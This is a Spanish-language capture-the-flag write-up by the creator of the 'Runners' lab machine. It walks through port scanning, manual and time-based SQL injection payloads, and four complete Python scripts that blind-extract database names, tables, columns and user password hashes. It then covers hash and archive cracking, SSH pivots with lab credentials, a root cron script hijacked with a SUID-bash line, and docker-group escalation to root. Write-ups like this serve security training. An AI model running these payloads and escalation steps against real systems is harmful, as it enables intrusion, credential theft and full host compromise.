Runners

¡Hola hacker! Bienvenido a una nueva resolución. En esta ocasión, voy a resolver una máquina que creé para nuestra comunidad de The Hackers Labs, la máquina Runners. Esta máquina marca mi primer proyecto como creador de CTFs. ¡Espero que la disfrutes y te ofrezca un buen reto!
Reconocimiento
Comenzamos como siempre lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envÃo de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina vÃctima.
nmap -sS -p- --open --min-rate 5000 -Pn -n -oG open_ports -vvv 192.168.1.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 13:24 -03
Initiating ARP Ping Scan at 13:24
Scanning 192.168.1.5 [1 port]
Completed ARP Ping Scan at 13:24, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:24
Scanning 192.168.1.5 [65535 ports]
Discovered open port 80/tcp on 192.168.1.5
Discovered open port 22/tcp on 192.168.1.5
Completed SYN Stealth Scan at 13:24, 10.57s elapsed (65535 total ports)
Nmap scan report for 192.168.1.5
Host is up, received arp-response (0.00035s latency).
Scanned at 2024-11-28 13:24:06 -03 for 10s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 63
MAC Address: 08:00:27:A8:A2:22 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.74 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p 22,80 192.168.1.5 -oN services_scan -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 13:25 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Initiating ARP Ping Scan at 13:25
Scanning 192.168.1.5 [1 port]
Completed ARP Ping Scan at 13:25, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:25
Completed Parallel DNS resolution of 1 host. at 13:25, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:25
Scanning 192.168.1.5 [2 ports]
Discovered open port 22/tcp on 192.168.1.5
Discovered open port 80/tcp on 192.168.1.5
Completed SYN Stealth Scan at 13:25, 0.05s elapsed (2 total ports)
Initiating Service scan at 13:25
Scanning 2 services on 192.168.1.5
Completed Service scan at 13:25, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.5.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.33s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.02s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Nmap scan report for 192.168.1.5
Host is up, received arp-response (0.0030s latency).
Scanned at 2024-11-28 13:25:04 -03 for 7s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a9:95:53:cd:44:32:5e:69:4a:83:e6:e5:2d:bf:eb:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKLNo2slroLK4B4+IzyO4ibWn82Pezb44/b5hxorFBVpTwHJNMW6q/2u9/WpcbpSUgLya+j0g0zo7devF9MM4iE=
| 256 7b:cd:42:3f:1f:7d:aa:f3:58:8f:7d:85:93:c5:fa:01 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA4tPo94klPK58wslxLdMnryD2EjPHu1cohW5uRSdAcu
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Runners Unlimited
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:A8:A2:22 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.87 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
Explotación inicial
Ingresamos a la web que esta corriendo bajo el puerto 80 y nos encontramos con un blog que habla sobre lo que es el mundo del running y distintas experiencias vividas por los autores de los artÃculos.

Navegando por la web, nos encontramos que al ingresar a un artÃculo existe un parámetro en la url, que al parecer corresponde al id
del artÃculo.

Probamos ingresar una comilla simple '
pero vemos que no ocurre ningun error, simplemente no encuentra artÃculos.

Probemos si este parámetro es vulnerable a inyección sql, para lo cual, intentemos descubrir cuantas columnas esta devolviendo la consulta que esta por detrás.
Probamos con 2, no pasa nada.

Probamos con 4 y vemos que no devuelve resultados.

Probamos con 3 y vemos que nos devuelve el artÃculo, por lo tanto sabemos que la consulta esta devolviendo un total de 3 columnas.

Utilicemos una clausula UNION SELECT
para ver que nos devuelve. Necesitamos ingresar un valor de id
que no exista, por ejemplo 100.

Observamos los números reflejados en el html.
Probemos ahora con el siguiente payload.
UNION SELECT database(),2,3-- -

Genial, logramos ver el nombre de la base de datos.
NOTA:
Si te preguntas porque aparce dos veces el número 1 o el nombre de la base de datos, esto se debe a que el tÃtulo se utiliza como valor del atributo alt de la imágen y como no se encuentra una url para cargar una imágen se muestra el valor de dicho atributo.
NOTA:
La cláusula
UNION SELECT
en SQL se utiliza para combinar los resultados de dos o más consultas SELECT en un solo conjunto de resultados.En pocas palabras, combina multiples consultas SELECT en una tabla de resultados única. A su vez, es importante tener en cuenta que la consulta debe devolver el mismo número de columnas y con tipos de datos compatibles en las posiciones correspondientes.
Otra forma de probar la vulnerabilidad es con una inyección basada en tiempo usando el siguiente payload.
id=100 OR SLEEP(1)-- -
Cómo no existe un artÃculo con id
100, se ejecuta el SLEEP(1)
, por lo que deberÃas notar que la consulta demora 1 segundo tal vez un poco más en responder confirmando la presencia de una inyección SQL.

Ahora que sabemos que el parámetro id
es vulnerable, podemos automatizar el proceso a ver que encontramos. En este caso, lo voy a realizar usando Python, pero también pudes hacerlo usando herramientas como sqlmap.
Bases de datos.
Utilizamos el siguiente script en Python para obtener las base de datos.
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'
url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraÃdos: ")
extracted_info = ""
for limit in range(3):
if limit > 0:
extracted_info += ','
last_position_char = 0
for position in range(1, 250):
for character in characters:
char = ord(character)
payload = f" OR (SELECT IF(ASCII(SUBSTRING(schema_name,{position},1))={char},SLEEP(1),0) FROM information_schema.schemata LIMIT {limit},1)-- -"
url_sqli = url + payload
p1.status(payload)
res = requests.get(url_sqli)
if res.elapsed.total_seconds() > 1:
extracted_info += character
last_position_char = position
p2.status(extracted_info)
break
elif (position - last_position_char) > 1:
break
if __name__ == '__main__':
makeSQLi()
Expliquemos un poco como funciona el script.
En primer lugar, nos encontramos con la función def_handler
, la cual se encarga de manejar la señal SIGINT (usualmente enviado al presionar CTRL + C
para permitir una salida limpia del programa, mostrando un mensaje antes de cerrar).
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
Luego, se define la variable character
asignando un conjunto de caracteres que incluye dÃgitos, letras en minúscula y mayúscula, además de los caracteres _
y .
. Se usa para construir y validar cada carácter de los datos extraÃdos.
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'
Seguidamente, definimos la variable url, con la url donde se encuentra la vulnerabilidad.
url = "http://192.168.1.5/post.php?id=100"
Posteriormente, definimos la función prinicipal makeSQLi
, la cual es la función principal del script.
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraÃdos: ")
extracted_info = ""
En primera instancia, se incializan dos indicadores de progreso: - p1
: Muestra el estado general del ataque. - p2
: Muestra los datos extraÃdos hasta el momento.
En seguida, se crea la variable extracted_info
para almacenar el texto recuperado.
Luego de eso, comienza a definirse el proceso de extracción de información
for limit in range(3):
if limit > 0:
extracted_info += ','
Comenzamos definiendo un bucle for principal, para itera sobre un rango de bases de datos (controlado por LIMIT
en el payload SQL). En caso de que no sea la primera iteración, añade una coma al resultado (extracted_info
), para separar nombres de bases de datos.
Subsiguientemente, definimos un bucle for interno, encargado de la extracción carácter por carácter.
last_position_char = 0
for position in range(1, 250):
for character in characters:
char = ord(character)
En este bucle, se intenta recuperar hasta 250 caracteres por entrada (nombre de base de datos, tablas o columna, como veremos más adelante). Dentro del bucle for más interno, se convierte cada carácter del conjunto characters
a su valor ASCII con ord()
para usarlo en el payload SQL.
payload = f" OR (SELECT IF(ASCII(SUBSTRING(schema_name,{position},1))={char},SLEEP(1),0) FROM information_schema.schemata LIMIT {limit},1)-- -"
Esta es la parte principal del código y donde se lleva a cabo la explotación de la inyección SQL.
(SELECT IF(...))
: Evalúa una condición:Si la condición es verdadera (el carácter coincide), el servidor se "duerme" por 1 segundo (SLEEP(1)).
Si es falsa, responde normalmente (sin demora).
ASCII(SUBSTRING(schema_name, {position}, 1))
: Extrae el carácter en la posición actual (position
) de los nombres de bases de datos (schema_name
).LIMIT {limit},1
: Selecciona el nombre de base de datos actual en el rangoLIMIT
.
En el siguiente paso, combina la URL base con el payload y envÃa la petición HTTP.
url_sqli = url + payload
res = requests.get(url_sqli)
En seguida de ello, se realiza el análisis de la respuesta.
if res.elapsed.total_seconds() > 1:
extracted_info += character
last_position_char = position
p2.status(extracted_info)
break
elif (position - last_position_char) > 1:
break
Si el servidor demora más de 1 segundo en responder, significa que el carácter actual es correcto, actualiza el progreso (p2.status
) y avanza al siguiente carácter. Por el contrario, si no se encuentra un carácter válido en varias posiciones consecutivas, asume que el nombre actual ha terminado y pasa al siguiente.
Por ultimo, este bloque de código indica que cuando se ejecute el script, se llame a la función makeSQLi
.
if __name__ == '__main__':
makeSQLi()
Ahora que tenemos claro que es lo que realiza el script, lo ejecutamos.

Vemos que existe la base de datos blog
.
Tablas
Para obtener las tablas de la base de datos blog
, un script similar con una pequeña modificación en el payload, donde utilizamos la tabla information_schema.tables
para obtener las tablas de la base de datos blog
.
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'
url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraÃdos: ")
extracted_info = ""
for limit in range(3):
if limit > 0:
extracted_info += ','
last_position_char = 0
for position in range(1, 250):
for character in characters:
char = ord(character)
payload = f" OR (SELECT IF(ASCII(SUBSTRING(table_name,{position},1))={char},SLEEP(1),0) FROM information_schema.tables WHERE table_schema='blog' LIMIT {limit},1)-- -"
url_sqli = url + payload
p1.status(payload)
res = requests.get(url_sqli)
if res.elapsed.total_seconds() > 1:
extracted_info += character
last_position_char = position
p2.status(extracted_info)
break
elif (position - last_position_char) > 1:
break
if __name__ == '__main__':
makeSQLi()

Obtenemos las columnas de la tabla users
users
Al igual que los scripts anteriores, realizamos una pequeña modificación, en este caso para obtener las columnas de la tabla users
de la base de datos blog
, para lo cual utilizamos la tabla information_schema.columns
.
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.'
url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraÃdos: ")
extracted_info = ""
for limit in range(3):
if limit > 0:
extracted_info += ','
last_position_char = 0
for position in range(1, 250):
for character in characters:
char = ord(character)
payload = f" OR (SELECT IF(ASCII(SUBSTRING(column_name,{position},1))={char},SLEEP(1),0) FROM information_schema.columns WHERE table_schema='blog' AND table_name = 'users' LIMIT {limit},1)-- -"
url_sqli = url + payload
p1.status(payload)
res = requests.get(url_sqli)
if res.elapsed.total_seconds() > 1:
extracted_info += character
last_position_char = position
p2.status(extracted_info)
break
elif (position - last_position_char) > 1:
break
if __name__ == '__main__':
makeSQLi()

Obtenemos los valores.
Ahora que conocemos la base datos, la tabla y las columnas, realizamos una simple consulta la cual nos devuelve los usuarios y contraseñas.
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '_.:'
url = "http://192.168.1.5/post.php?id=100"
def makeSQLi():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos extraÃdos: ")
extracted_info = ""
for limit in range(3):
if limit > 0:
extracted_info += ','
last_position_char = 0
for position in range(1, 250):
for character in characters:
char = ord(character)
payload = f" OR (SELECT IF(ASCII(SUBSTRING(CONCAT(username,0x3a,password),{position},1))={char},SLEEP(0.5),0) FROM blog.users LIMIT {limit}, 1)-- -"
url_sqli = url + payload
p1.status(payload)
res = requests.get(url_sqli)
if res.elapsed.total_seconds() > 0.5:
extracted_info += character
last_position_char = position
p2.status(extracted_info)
break
elif (position - last_position_char) > 1:
break
if __name__ == '__main__':
makeSQLi()
Ejecutamos el script y obtenemos los hashes de los usuarios.
python3 get_data.py
david:527aa9f431539da8e151d5434d1d5e611d973f601d8e970790882624554146b0
maria:7927e941a969cdf471354e79b7ae29ae25ca04d59f66d6c19f9c43a9367ec498
ian:febb36d29baf28da1a00cad0cc6937d49f13738ff9dd88276e7c85920d2bff40
Crackeamos los hashes con john
y encontramos la contraseña de david
.

david:runner
Nos conectamos con david
por ssh al puerto 2222.

david -> maria
Si miramos dentro del directorio home de david
, vemos que existe un directorio oculto .hidden
y dentro de este un archivo zip.

Descargamos el archivo a nuestra máquina atacante.
Utilizamos scp para descargar el archivo.

Al momento de descomprimir el archivo nos solicita una contraseña.

Utilizamos zip2john
para generar el hash y luego crackearlo con john
.


Genial, obtenemos la contraseña del archivo zip rockandroll
.
Descomprimimos el archivo.

Obtenemos un archivo credenciales.xlsx
Abrimos el archivo, en este caso con LibreOffice.

Dentro de este, encontramos unas credenciales, de david
la misma que ya teniamos y de maria
.

Utilizamos las credenciales de maria
para iniciar sesión en el sistema a través de ssh.
maria:4br53#j6p78mq#zbvc
Escalación de privilegios en el contenedor
Logramos ingresar al sistema como el usuario maria
, pero aun estamos dentro del contenedor.

Si realizamos una enumeración básica del sistema, encontramos un script /opt/backup.sh
en el cual tenemos capacidad de escritura.

Si miramos el script, vemos que se esta realizando un backup de la base de datos blog
.
#!/bin/bash
BACKUP_DIR="/srv/backups"
DB_NAME="blog"
DB_USER="root"
ZIP_PASSWORD="metallica"
BACKUP_FILE="$BACKUP_DIR/blog_backup_$(date +'%Y%m%d%H%m').sql"
/usr/bin/mysqldump -u $DB_USER $DB_NAME > $BACKUP_FILE
zip -P "$ZIP_PASSWORD" "${BACKUP_FILE}.zip" "$BACKUP_FILE"
rm -f "$BACKUP_FILE"
echo "$(date): Backup comprimido de la base de datos '$DB_NAME' creado en ${BACKUP_FILE}.zip" >> /var/log/backup.log
function cleanup_backups {
local total_backups=$(ls -1t "$BACKUP_DIR"/*.zip 2>/dev/null | wc -l)
if (( total_backups > 10 )); then
ls -1t "$BACKUP_DIR"/*.zip | tail -n +11 | while read -r old_backup; do
rm -f "$old_backup"
echo "$(date): Backup antiguo eliminado: $old_backup" >> /var/log/backup.log
done
fi
}
cleanup_backups
Podemos observar también utilizando pspy
que se esta ejecutando una tarea cron
la cual ejecuta este script y el usuario que lo esta ejecutando es root.
Subimos pspy.

Asignamos permisos de ejecución al binario .
chmod +x pspy
Ejecutamos pspy.

Como somos el usuario maria
y tenemos la capacidad de escritura en el script backup, podemos agregar lo siguiente al script.
chmod u+s /bin/bash
Asignado permisos suid al binario bash.
Esperamos que se ejecute el script y vemos que tenemos permisos suid en la bash.
De esta forma, logramos escalar privilegios en el contenedor.



Si miramos dentro del directorio home de root, encontramos un archivo TODO_LIST.txt
.


Dentro de esta lista de tareas se menciona el nombre de un usuario ian
y su posible contraseña iambatman
.
ian -> elliot
Probamos estas credenciales para conectarnos por ssh al host principal y efectivamente son validas.
ian:iambatman

Obtenemos el flag de user.txt

Si miramos dentro del directorio home del usuario elliot
encontramos un archivo miscredenciales.psafe3
.
Lo descargamos a nuestra máquina utilizando scp.

¿Qué es un archivo
.psafe3
?Un archivo
.psafe3
es el formato utilizado por Password Safe, una herramienta de gestión de contraseñas. Este archivo almacena de forma segura contraseñas y datos sensibles, encriptados con algoritmos como Twofish para protegerlos contra accesos no autorizados. Solo se puede acceder al contenido mediante una clave maestra definida por el usuario.
¿Qué es Password Safe (pwsafe)?
Password Safe es un software de código abierto diseñado para almacenar y gestionar contraseñas de manera segura. Ofrece caracterÃsticas como:
Encriptación fuerte: Usa algoritmos como Twofish.
Portabilidad: Los archivos
.psafe3
pueden trasladarse fácilmente entre dispositivos.Autenticación centralizada: Se requiere una contraseña maestra para acceder a todas las credenciales.
Lo abrimos con pwsafe pero nos solicita una contraseña maestra para poder acceder.
pwsafe miscredenciales.psafe3

Utilizamos pwsafe2john
y lo crackeamos con john
.


Genial! obtenemos la contraseña maestra.
Abrimos la boveda con pwsafe
.

Vemos que existen varias entradas de credenciales pero hay una particular que nos llama la atención, la entrada Blog.

Si le damos editar entrada, podemos ver que se revelan una serie de credenciales.


Usamos estas credenciales para conectarnos por ssh al sistema.
elliot:HwbE80ZOtZQdkYB
Efectivamente, las credenciales son validas.

Elevación de privilegios
Si realizamos una enumeración básica del sistema, podemos ver que el usuario elliot pertenece al grupo docker
por lo que podemos abusar de este.

Cremos un contenedor usando una imagen de Alpine Linux y montamos la raÃz en el contenedor bajo el directorio host y cambiamos el directorio raÃz.

Asignamos permisos suid a la bash.

Salimos del host y comprobamos que efectivamente se asignaron permisos suid al binario bash del host.

De esta manera, logramos escalar nuestros privilegios.

Post Explotación
Leemos el flag de root.

De esta manera, concluimos la resolución de la máquina Runners.
Si te gustó este CTF, ¡cuentaselos a otros!.
Recuerda, los desafÃos son solo una pieza del rompecabezas; sigue aprendiendo, explorando y compartiendo tu conocimiento.
¡Gracias por leer!
¡Happy Hacking!
Última actualización